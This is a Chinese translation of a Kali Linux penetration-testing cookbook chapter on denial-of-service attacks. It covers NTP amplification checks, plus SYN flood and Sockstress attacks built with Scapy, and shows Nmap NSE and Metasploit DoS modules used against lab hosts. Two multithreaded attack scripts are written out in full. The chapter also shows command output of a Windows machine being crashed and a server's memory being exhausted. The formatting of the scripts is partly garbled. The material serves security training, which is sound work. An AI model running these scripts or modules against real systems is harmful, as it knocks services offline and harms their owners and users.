編碼的世界 / 優質文選 / 財富

Kali Linux 網絡掃描秘籍 第六章 拒絕服務(二)


2021年9月17日
-   

第六章 拒絕服務(二)
作者:Justin Hutchens
譯者:飛龍
協議:CC BY-NC-SA 4.0
6.6 NTP 放大 DoS 攻擊
NTP 放大 DoS 攻擊利用響應遠程 monlist 請求的網絡時間協議(NTP)服務器。 monlist 函數返回與服務器交互的所有設備的列表,在某些情況下最多達 600 個列表。 攻擊者可以偽造來自目標 IP 地址的請求,並且漏洞服務器將為每個發送的請求返回非常大的響應。 在寫這本書的時候,這仍然是一個常見的威脅,目前正在大規模使用。 因此,我將僅演示如何測試 NTP 服務器,以確定它們是否將響應遠程 monlist 請求。 補丁程序可用於大多數 NTP 服務來解決此問題,並且任何有存在漏洞的設備應該修複或下線。
准備
為了確定是否可以利用 NTP 服務器執行 NTP 放大攻擊,你需要有啟用 NTP 的設備。 在提供的示例中,Ubuntu 用於托管 NTP 服務。 有關設置 Ubuntu 的更多信息,請參閱本書第一章中的“安裝 Ubuntu Server”秘籍。
操作步驟
為了確定遠程服務器是否運行 NTP 服務,Nmap 可用於快速掃描 UDP 端口 123。 -sU選項可用於指定 UDP,然後可使用-p選項來指定端口 :
root@KaliLinux:~# nmap -sU 172.16.36.224 -p 123
Starting Nmap 6.25 ( http://nmap.org ) at 2014-02-24 18:12 EST
Nmap scan report for 172.16.36.224
Host is up (0.00068s latency).
PORT STATE SERVICE
123/udp open ntp
MAC Address: 00:0C:29:09:C3:79 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

如果遠程服務器上運行 NTP 服務,則掃描應返回打開狀態。 Kali Linux 上默認安裝的另一個工具可用於確定 NTP 服務是否可用於放大攻擊。 NTPDC 工具可用於嘗試對遠程服務執行 monlist 命令:
root@KaliLinux:~# ntpdc -n -c monlist 172.16.36.224
172.16.36.224: timed out, nothing received
***Request timed out

理想情況下,我們希望看到的是沒有響應返回。 在所提供的第一個示例中,請求超時,並且未接收到輸出。 這表明服務器不易受攻擊,並且 monlist 命令只能在本地執行:
root@KaliLinux:~# ntpdc -c monlist 172.16.36.3
remote address port local address count m ver rstr avgint lstint
========================================================================= ======
host.crossing.com 123 172.16.36.3 18 4 4 1d0 35 1
grub.ca.us.roller.o 123 172.16.36.3 17 4 4 1d0 37 35
va-time.utility.o 123 172.16.36.3 17 4 4 1d0 37 59
cheezpuff.meatball.n 123 172.16.36.3 17 4 4 1d0 38 62
pwnbox.lizard.com 123 172.16.36.3 35 4 4 5d0 65 51

或者,如果返回了一系列主機和連接元數據,則遠程服務器可能能夠用於放大攻擊。 對於與服務器交互的每個新主機,會在此列表中添加一個新條目,響應的大小以及可能的載荷會變得更大。
放大攻擊的原理是利用第三方設備,使網絡流量壓倒目標。 對於多數放大攻擊,必須滿足兩個條件:
  • 用於執行攻擊的協議不驗證請求源
  • 來自所使用的網絡功能的響應應該顯著大於用於請求它的請求。

NTP 放大攻擊的效率取決於 NTP 查詢的響應大小。 另外,可以通過使用多個 NTP 服務器來增加攻擊的威力。
6.7 SYN 泛洪 DoS 攻擊
SYN 泛洪 DoS攻擊是一種資源消耗攻擊。 它的原理是向作為攻擊目標的服務相關的遠程端口發送大量 TCP SYN 請求。 對於目標服務接收的每個初始 SYN 分組,然後會發送出 SYN + ACK 分組並保持連接打開,來等待來自發起客戶端的最終 ACK 分組。 通過使用這些半開請求使目標過載,攻擊者可以使服務無響應。
准備
為了使用 Scapy 對目標執行完整的 SYN 泛洪,你需要有一個運行 TCP 網絡服務的遠程系統。 提供的示例使用 Metasploitable2 的實例用。 有關設置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 此外,本節需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統。 有關編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
為了使用 Scapy 執行 SYN 泛洪,我們需要通過與目標服務關聯的端口發送 TCP SYN 請求來開始。 為了向任何給定端口發送 TCP SYN 請求,我們必須首先構建此請求的層級。 我們將需要構建的第一層是 IP 層:
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
options
>>> i.dst = "172.16.36.135"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
options

要構建我們的請求的 IP 層,我們應該將 IP 對象賦給變量i。 通過調用display()函數,我們可以確定該對象的屬性配置。 通常,發送和接收地址都設為回送地址127.0.0.1。 可以通過將i.dst設置為廣播地址的字符串值,來更改目標地址並修改這些值。 通過再次調用display()函數,我們可以看到,不僅更新了目的地址,而且Scapy也會自動將源 IP 地址更新為與默認接口相關的地址。 現在我們已經構建了請求的 IP 層,我們應該繼續構建 TCP 層:
>>> t = TCP()
>>> t.display()
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}

要構建我們的請求的 TCP 層,我們將使用與 IP 層相同的技術。 在提供的示例中,TCP 對象賦給了t變量。 如前所述,可以通過調用display()函數來確定默認配置。 在這裏,我們可以看到目標端口的默認值是 HTTP 80 端口。對於我們的首次掃描,我們將 TCP 配置保留默認。現在我們構建了 IP 和 TCP 層,我們可以通過堆疊這些層來構造請求:
>>> response = sr1(i/t,verbose=1,timeout=3)
Begin emission:
Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> response.display()
###[ IP ]###
version= 4L
ihl= 5L
tos= 0x0
len= 44
id= 0
flags= DF
frag= 0L
ttl= 64
proto= tcp
chksum= 0x9944
src= 172.16.36.135
dst= 172.16.36.224
options
###[ TCP ]###
sport= http
dport= ftp_data
seq= 3651201360L
ack= 1
dataofs= 6L
reserved= 0L
flags= SA
window= 5840
chksum= 0x1c68
urgptr= 0
options= [('MSS', 1460)]
###[ Padding ]###
load= 'x00x00'

可以通過使用斜杠分隔變量來堆疊 IP 和 TCP 層。 然後可以將這些層賦給表示整個請求的新變量。 然後可以調用display()函數來查看請求的配置。 一旦建立了請求,就可以將其傳遞給發送和接收函數,以便我們可以分析響應:
>>> request = (i/t)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 172.16.36.224
dst= 172.16.36.135
options
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}

可以在不獨立地構建和堆疊每個層的情況下執行相同的請求。 相反,可以通過直接調用函數並向其傳遞適當的參數來使用單行命令:
>>> sr1(IP(dst="172.16.36.135")/TCP())
Begin emission:
Finished to send 1 packets.
..*
Received 57 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x9944 src=172.16.36.135 dst=172.16.36.224 options=[] |<TCP sport=http dport=ftp_data seq=2078775635 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0xca1e urgptr=0 options=[('MSS', 1460)] |<Padding load='x00x00' |>>>

SYN 泛洪的效率取決於在給定時間段內可以生成的 SYN 請求的數量。 為了提高這個攻擊序列的效率,我寫了一個多線程腳本,可以執行可由攻擊系統處理的,盡可能多的 SYN 數據包注入的並發進程:
#!/usr/bin/python
from scapy.all
import * from time
import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./syn_flood.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 80 20"
print "Example will perform a 20x multi-threaded SYN flood attack"
print "against the HTTP (port 80) service on 10.0.0.5"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "Performing SYN flood. Use Ctrl+C to stop attack."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)

腳本在執行時接受三個參數。 這些參數包括目標 IP 地址,SYN 泛洪所發送到的端口號,以及將用於執行 SYN 泛洪的線程或並發進程的數量。 每個線程以生成 0 到 65,535 之間的整數值開始。 此範圍表示可分配給源端口的全部可能值。 定義源和目標端口地址的 TCP 報頭的部分在長度上都是 16 比特。 每個位可以為 1 或 0。因此,有2 ** 16或 65,536 個可能的 TCP 端 口地址。 單個源端口只能維持一個半開連接,因此通過為每個 SYN 請求生成唯一的源端口地址,我們可以大大提高攻擊的性能:
root@KaliLinux:~# ./syn_flood.py U
sage - ./syn_flood.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 80 20
Example will perform a 20x multi-threaded SYN flood attack against the HTTP (port 80) service on 10.0.0.5
root@KaliLinux:~# ./syn_flood.py 172.16.36.135 80 20
Performing SYN flood. Use Ctrl+C to stop attack.

當在沒有任何參數的情況下執行腳本時,會將使用方法返回給用戶。在提供的示例中,腳本對托管在172.16.36.135的 TCP 端口 80 上的 HTTP Web 服務執行,具有 20 個並發線程 。腳本本身提供的反饋很少; 但是,可以運行流量捕獲工具(如 Wireshark 或 TCPdump)來驗證是否正在發送連接。在非常短暫的時間之後,與服務器的連接嘗試會變得非常慢或完全無響應。
工作原理
TCP 服務只允許建立有限數量的半開連接。 通過快速發送大量的 TCP SYN 請求,這些可用的連接會被耗盡,並且服務器將不再能夠接受新的傳入連接。 因此,新用戶將無法訪問該服務。 通過將其用作 DDoS 並且使多個攻擊系統同時執行腳本,該攻擊的效率可以進一步加強。
6.8 Sockstress DoS 攻擊
Sockstress DoS 攻擊涉及到與目標服務相關的 TCP 端口建立一系列開放連接。 TCP 握手中的最終 ACK 響應的值應為 0。
准備
為了使用 Scapy 對目標執行Sockstress DoS 攻擊,你需要有一個運行 TCP 網絡服務的遠程系統。 提供的示例使用 Metasploitable2 的實例用。 有關設置 Metasploitable2 的更多信息,請參閱本書第一章中的“安裝 Metasploitable2”秘籍。 此外,本節需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統。 有關編寫腳本的更多信息,請參閱本書第一章中的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
以下腳本使用 Scapy 編寫,用於對目標系統執行 Sockstress DoS 攻擊。 以下腳本可用於測試漏洞服務:
#!/usr/bin/python
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]"
print "Example - ./sock_stress.py 10.0.0.5 21 20"
print "Example will perform a 20x multi-threaded sock-stress DoS attack "
print "against the FTP (port 21) service on 10.0.0.5"
print "
***NOTE***"
print "Make sure you target a port that responds when a connection is made"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## This is where the magic happens
def sockstress(target,dstport): while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags ='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'x00x00',verbose=0)
except:
pass
## Graceful shutdown allows IP Table Repair
def graceful_shutdown(signal, frame):
print '
You pressed Ctrl+C!'
print 'Fixing IP Tables'
os.system('iptables -A OUTPUT -p tcp tcp-flags RST RST -d ' + target + ' -j DROP')
sys.exit()
## Creates IPTables Rule to Prevent Outbound RST Packet to Allow Scapy TCP Connections
os.system('iptables -A OUTPUT -p tcp tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, graceful_shutdown)
## Spin up multiple threads to launch the attack
print "
The onslaught has begunuse Ctrl+C to stop the attack"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## Make it go FOREVER (or at least until Ctrl+C)
while 0 == 0:
sleep(1)

請注意,此腳本有兩個主要功能,包括 sockstress 攻擊功能和單獨的正常關機功能。 關閉需要單獨的函數,因為為了使腳本正常運行,腳本必須修改本地 iptables 規則。 此更改是必需的,以便使用 Scapy 完成與遠程主機的 TCP 連接。 在第三章“端口掃描”的“使用 Scapy 配置連接掃描”中,更徹底地解決了這一問題。 在執行腳本之前,我們可以使用 netstat 和 free 工具為已建立的連接和正在使用的內存獲取基線:
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp6 0 0 172.16.36.131%13464:ssh 172.16.36.1%8191:49826 ESTABLISHED
udp 0 0 localhost:32840 localhost:32840 ESTABLISHED
msfadmin@metasploitable:~$ free -m
total used free shared buffers cached
Mem: 503 157 345 0 13 54
-/+ buffers/cache: 89 413
Swap: 0 0 0

通過使用 netstat,然後通過管道輸出到grep函數,並只提取已建立的連接,我們可以看到只存在兩個連接。 我們還可以使用free工具查看當前的內存使用情況。 -m選項用於返回以兆字節為單位的值。 在確定已建立的連接和可用內存的基線後,我們可以對此目標服務器啟動攻擊:
root@KaliLinux:~# ./sock_stress.py
Usage - ./sock_stress.py [Target-IP] [Port Number] [Threads]
Example - ./sock_stress.py 10.0.0.5 21 20
Example will perform a 20x multi-threaded sock-stress DoS attack against the FTP (port 21) service on 10.0.0.
***NOTE***
Make sure you target a port that responds when a connection is made
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begunuse Ctrl+C to stop the attack

通過在沒有任何提供的參數的情況下執行腳本,腳本將返回預期的語法和用法。腳本在執行時接受三個參數。這些參數包括目標 IP 地址,sock stress DoS所發送的端口號,以及將用於執行 sock stress DoS 的線程或並發進程的數量。每個線程以生成 0 到 65,535 之間的整數值開始。此範圍表示可分配給源端口的全部可能值。定義源和目的地端口地址的 TCP 報頭的部分在長度上都是 16 比特。每個位可以為值 1 或 0。因此,有2 ** 16或 65,536 個可能的 TCP 端口地址。單個源端口只能維持單個連接,因此通過為每個連接生成唯一的源端口地址,我們可以大大提高攻擊的效率。一旦攻擊開始,我們可以通過檢查在目標服務器上建立的活動連接,來驗證它是否正常工作:
msfadmin@metasploitable:~$ netstat | grep ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:25624 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12129 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31294 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:46731 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:15281 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:47576 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:27472 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:11152 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:56245 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:1161 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:21064 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:29344 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:43747 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:59609 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:31927 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12257 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:54709 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:55595 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:12992 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:24171 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:37207 ESTABLISHED
tcp 0 20 172.16.36.131:ftp 172.16.36.232:39224 ESTABLISHED

在執行腳本後的幾分鐘,我們可以看到已建立的連接的數量急劇增加。 此處顯示的輸出已截斷,連接列表實際上明顯長於此:
msfadmin@metasploitable:~$ free -m 
total used free shared buffers cached
Mem: 503 497 6 0 149
138 -/+ buffers/cache: 209 294
Swap: 0 0 0

通過連續使用free 工具,我們可以看到,系統的可用內存逐漸耗盡。 一旦內存空閑值下降到幾乎沒有,空閑緩沖區/緩存空間將開始下降:
msfadmin@metasploitable:~$ free -m 
total used free shared buffers cached
Mem: 503 498 4 0 0
5 -/+ buffers/cache: 493 10
Swap: 0 0 0

在本地系統上的所有資源耗盡之後,系統最終會崩潰。 完成此過程所需的時間將取決於可用的本地資源量。 在這裏提供的示例中,這是在具有 512 MB RAM 的 Metasploitable VM 上執行的,攻擊花費了大約 2 分鐘來耗盡所有可用的本地資源並使服務器崩潰。 服務器崩潰後,或者你希望停止 DoS 攻擊時,可以按Ctrl + C
root@KaliLinux:~# ./sock_stress.py 172.16.36.131 21 20
The onslaught has begunuse Ctrl+C to stop the attack
^C
pressed Ctrl+C!
Fixing IP Tables

腳本被編寫來捕獲由於按Ctrl + C而發送的終止信號,並且它將通過去除在終止腳本的執行序列之前生成的規則,來修複本地 iptables。
工作原理
在 sockstress DoS 中,三次握手中的最後的 ACK 封包的窗口值為 0。由於連接客戶端的空窗口所示,漏洞服務不會傳送任何數據來響應連接。 相反,服務器會保存要在內存中傳輸的數據。 使用這些連接充斥服務器將耗盡服務器的資源,包括內存,交換空間和計算能力。
6.9 使用 Nmap NSE 執行 DoS 攻擊
Nmap 腳本引擎(NSE)擁有許多可用於執行 DoS 攻擊的腳本。 這個特定的秘籍演示了如何找到 NSE DoS 腳本,確定腳本的用法,以及如何執行它們。
准備
為了使用 Nmap NSE 執行 DoS 攻擊,你需要有一個運行漏洞服務的系統,它易受 Nmap NSE DoS 腳本之一的攻擊。 所提供的示例使用 Windows XP 的實例。 有關設置 Windows 系統的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 Nmap NSE 腳本執行 DoS 測試之前,我們需要確定哪些 DoS 腳本可用。 在 Nmap NSE 腳本目錄中有一個greppable script.db文件,可用於確定任何給定類別中的腳本:
root@KaliLinux:~# grep dos /usr/share/nmap/scripts/script.db | cut -d """ -f 2
broadcast-avahi-dos.nse
http-slowloris.nse ipv6-ra-flood.nse
smb-check-vulns.nse
smb-flood.nse
smb-vuln-ms10-054.nse

通過從script.db文件中使用grep搜索 DoS,然後將輸出通過管道傳遞到cut函數,我們可以提取可用的腳本。 通過閱讀任何一個腳本的頭部,我們通常可以找到很多有用的信息:
root@KaliLinux:~# cat /usr/share/nmap/scripts/smb-vuln-ms10-054.nse | more
local bin = require "bin"
local msrpc = require "msrpc"
local smb = require "smb"
local string = require "string"
local vulns = require "vulns"
local stdnse = require "stdnse"
description = [[
Tests whether target machines are vulnerable to the ms10-054 SMB remote memory
corruption vulnerability.
The vulnerable machine will crash with BSOD.
The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/password.

為了從上到下讀取腳本,我們應該對文件使用cat命令,然後通過管道輸出到more工具。 腳本的頭部描述了它所利用的漏洞以及系統必須滿足的條件。 它還解釋了該漏洞將導致藍屏死機(BSOD)DoS。 通過進一步向下滾動,我們可以找到更多有用的信息:
 @usage nmap -p 445 <target>
script=smb-vuln-ms10-054
script-args unsafe
- @args unsafe Required to run the script, "safty swich" to prevent running it by accident
@args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
@usage nmap -p 445 <target>
script=smb-vuln-ms10-054
script-args unsafe
- @args unsafe Required to run the script, "safty swich" to prevent running it by accident
@args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)
@output
Host script results:
| smb-vuln-ms10-054:
| VULNERABLE:
| SMB remote memory corruption vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2010-2550
| Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/ A:C)
| Description:
| The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
| Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
| does not properly validate fields in an SMB request, which allows remote attackers
| to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."

在腳本中,我們可以找到腳本用法和腳本提供的參數的描述。 它還提供了有關其利用的漏洞的其他詳細信息。 要執行腳本,我們需要在 Nmap 中使用script選項:
root@KaliLinux:~# nmap -p 445 172.16.36.134 script=smb-vuln-ms10-054 script-args unsafe=1
Starting Nmap 6.25 ( http://nmap.org ) at 2014-02-28 23:45 EST
Nmap scan report for 172.16.36.134
Host is up (0.00038s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-vuln-ms10-054:
| VULNERABLE:
| SMB remote memory corruption vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2010-2550
| Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
| Description:
| The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
| Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
| does not properly validate fields in an SMB request, which allows remote attackers
| to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."

在提供的示例中,Nmap 被定向為僅掃描 TCP 端口 445,這是該漏洞的相關端口。 script選項與指定所使用的腳本的參數一起使用。 我們傳遞了單個腳本參數來表明可以接受不安全掃描。 此參數的描述是,可用於授權 DoS 攻擊的安全開關。 在 Nmap 中執行腳本後,輸出表明系統存在漏洞。 查看 Windows XP 機器,我們可以看到 DoS 成功,這導致了藍屏:

工作原理
本練習中演示的 Nmap NSE 腳本是緩沖區溢出攻擊的示例。 一般來說,緩沖區溢出能夠導致拒絕服務,因為它們可能導致任意數據被加載到非預期的內存段。 這可能中斷執行流程,並導致服務或操作系統崩潰。
6.10 Metasploit DoS 攻擊
Metasploit框架有許多輔助模塊腳本,可用於執行 DoS 攻擊。 這個特定的秘籍演示了如何找到 DoS 模塊,確定模塊的使用方式,以及如何執行它們。
准備
為了使用 Metasploit 執行 DoS 攻擊,你需要有一個運行漏洞服務的系統,它易受 Metasploit DoS 輔助模塊之一的攻擊。 所提供的示例使用 Windows XP 的實例。 有關設置 Windows 系統的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 Metasploit 輔助模塊執行 DoS 測試之前,我們需要確定哪些 DoS 模塊可用。 相關模塊可以通過瀏覽 Metasploit 目錄樹來確定:

root@KaliLinux:~# cd /usr/share/metasploit-framework/modules/auxiliary/ dos/
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos# ls cisco dhcp freebsd hp http mdns ntp pptp samba scada smtp solaris ssl syslog tcp wifi windows wireshark
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos# cd windows/
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows# ls appian browser ftp games http llmnr nat rdp smb smtp tftp
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows# cd http
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows/http# ls ms10_065_ii6_asp_dos.rb
pi3web_isapi.rb

通過瀏覽/ modules / auxiliary / dos目錄,我們可以看到各種類別的 DoS 模塊。 在提供的示例中,我們已瀏覽包含 Windows HTTP 拒絕服務漏洞的目錄:
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/dos/ windows/http# cat ms10_065_ii6_asp_dos.rb | more
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service',
'Description' => %q{
The vulnerability allows remote unauthenticated attackers to force the IIS server
to become unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads
out a Post Form value.
},
'Author' =>
[
'Alligator Security Team',
'Heyder Andrade <heyder[at]alligatorteam.org>',
'Leandro Oliveira <leadro[at]alligatorteam.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1899' ],
[ 'OSVDB', '67978'],
[ 'MSB', 'MS10-065'],
[ 'EDB', '15167' ]
],
'DisclosureDate' => 'Sep 14 2010'))

為了從上到下讀取腳本,我們應該對文件使用cat命令,然後通過管道輸出到more工具。 腳本的頂部描述了它所利用的漏洞以及系統必須滿足的條件。 我們還可以在 Metasploit 框架控制台中識別潛在的 DoS 漏洞。 要訪問它,在終端中鍵入msfconsole
root@KaliLinux:~# msfconsole # cowsay++
____________
< metasploit >
-
,__,
(oo)____
(__) )
|||| *
Large pentest? List, sort, group, tag and search your hosts and services in Metasploit Pro type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ =[ 1053 exploits - 590 auxiliary - 174 post
+ =[ 275 payloads - 28 encoders - 8 nops
msf >

一旦打開,搜索命令可以與搜索項結合使用,來確定要使用的漏洞利用:
msf > search dos
Matching Modules
================
Name Disclosure Date Rank Description
auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
auxiliary/dos/cisco/ios_http_percentpercent 2000-04-26 normal Cisco IOS HTTP GET /%% request Denial of Service
auxiliary/dos/dhcp/isc_dhcpd_clientid normal ISC DHCP Zero Length ClientID Denial of Service Module
auxiliary/dos/freebsd/nfsd/nfsd_mount normal FreeBSD Remote NFS RPC Request Denial of Service
auxiliary/dos/hp/data_protector_rds 2011-01-08 manual HP Data Protector Manager RDS DOS
auxiliary/dos/http/3com_superstack_switch 2004-06-24 normal 3Com SuperStack Switch Denial of Service
auxiliary/dos/http/apache_mod_isapi 2010-03-05 normal Apache mod_isapi <= 2.2.14 Dangling Pointer
auxiliary/dos/http/apache_range_dos 2011-08-19 normal Apache Range header DoS (Apache Killer)
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS

在提供的示例中,搜索項 dos 用於查詢數據庫。 返回一系列 DoS 輔助模塊,並且包括每個 DoS 輔助模塊的相對路徑。 此相對路徑可用於縮小搜索結果範圍:
msf > search /dos/windows/smb/
Matching Modules
================
Name Disclosure Date Rank Description

auxiliary/dos/windows/smb/ms05_047_pnp normal Microsoft Plug and Play Service Registry Overflow
auxiliary/dos/windows/smb/ms06_035_mailslot 2006-07-11 normal Microsoft SRV.SYS Mailslot Write Corruption
auxiliary/dos/windows/smb/ms06_063_trans normal Microsoft SRV.SYS Pipe Transaction No Null
auxiliary/dos/windows/smb/ms09_001_write normal Microsoft SRV.SYS WriteAndX Invalid DataOffset
auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh normal Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff normal Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop normal Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop
auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow normal Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
auxiliary/dos/windows/smb/ms11_019_electbowser manual Microsoft Windows Browser Pool DoS
auxiliary/dos/windows/smb/rras_vls_null_deref 2006-06-14 normal Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
auxiliary/dos/windows/smb/vista_negotiate_stop normal Microsoft Vista SP0 SMB Negotiate Protocol DoS

在查詢/ dos / windows / smb的相對路徑後,返回的唯一結果是此目錄中的 DoS 模塊。 目錄組織良好,可用於有效地搜索與特定平台或服務相關的漏洞。 一旦我們決定使用哪個漏洞,我們可以使用use命令和模塊的相對路徑來選擇它:
msf > use auxiliary/dos/windows/smb/ms06_063_trans
msf auxiliary(ms06_063_trans) > show options
Module options (auxiliary/dos/windows/smb/ms06_063_trans):
Name Current Setting Required Description
-
RHOST yes The target address
RPORT 445 yes Set the SMB service port

一旦選擇了模塊,show options命令可用於確定和/修改掃描配置。 此命令會顯示四個列標題,包括Name, Current Setting, Required, 和 DescriptionName列表示每個可配置變量的名稱。 Current Setting列列出任何給定變量的現有配置。 Required列表明任何給定變量是否需要值。 Description列描述每個變量的函數。 可以使用set命令並通過提供新值作為參數,來更改任何給定變量的值:
msf auxiliary(ms06_063_trans) > set RHOST 172.16.36.134
=> 172.16.36.134
msf auxiliary(ms06_063_trans) > show options
Module options (auxiliary/dos/windows/smb/ms06_063_trans):
Name Current Setting Required Description
-
RHOST 172.16.36.134 yes The target address
RPORT 445 yes Set the SMB service port

在提供的示例中,RHOST值更改為我們打算掃描的遠程系統的 IP 地址。 更新必要的變量後,可以使用show options命令再次驗證配置。 一旦驗證了所需的配置,可以使用run命令啟動模塊:
msf auxiliary(ms06_063_trans) > run
[*] Connecting to the target system
[*] Sending bad SMB transaction request 1
[*] Sending bad SMB transaction request 2
[*] Sending bad SMB transaction request 3
[*] Sending bad SMB transaction request 4
[*] Sending bad SMB transaction request 5
[*] Auxiliary module execution completed

